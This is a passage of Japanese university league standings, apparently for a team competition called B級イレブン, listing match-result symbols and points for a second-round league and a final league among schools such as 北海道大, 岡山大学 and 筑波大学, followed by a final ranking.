金沢大学　●●●●▲ ○◎●●◎ △●▲●△ ○○○▲◎ ●●●●● −−−−−　 19

【Ｂ級イレブン第二リーグ】
＿＿＿＿　 大阪市立　　横浜国立　　同志社大　　筑波大学　　千葉大学　　勝点
大阪市立　−−−−− △△▲△◎ △○▲○◎ ●●▲▲● ●▲▲▲●　 11
横浜国立　▲▲△▲● −−−−− △△▲△− ●●△▲● ●▲△△●　　7
同志社大　▲●△●● ▲▲△▲− −−−−− ●●△●● ●●△▲●　　4
筑波大学　◎◎△△○ ◎◎▲△◎ ◎◎▲○◎ −−−−− ▲◎△△●　 36
千葉大学　◎△△△◎ ◎△▲▲◎ ◎○▲△◎ △●▲▲○ −−−−−　 28

決勝リーグ進出 → 北大・岡山・広島・筑波・千葉・阪市

【Ｂ級イレブン決勝リーグ】
＿＿＿＿　 北海道大 　　筑波大学　　広島大学　　千葉大学　 岡山大学　　大阪市立　　勝点
北海道大　−−−−− ◎◎◎△○ ◎◎◎△○ ○◎◎○▲ ○◎○△● ◎◎◎△○　 54
筑波大学　●●●▲● −−−−− △△▲△▲ ▲◎△△● ●△●△● ◎◎△△○　 21
広島大学　●●●▲● ▲▲△▲△ −−−−− ▲◎○△● ●△●▲● ◎◎○▲○　 19
千葉大学　●●●●▲ △●▲▲○ △●●▲○ −−−−− ▲●●▲● ◎△△△◎　 15
岡山大学　●●●▲○ ○▲○▲◎ ○▲○△◎ △○○△○ −−−−− ◎○○△◎　 36
大阪市立　●●●▲● ●●▲▲● ●●●△● ●▲▲▲● ●●●▲● −−−−−　 １

北海道＞岡山＞＞筑波＞広島＞千葉＞＞＞大阪市立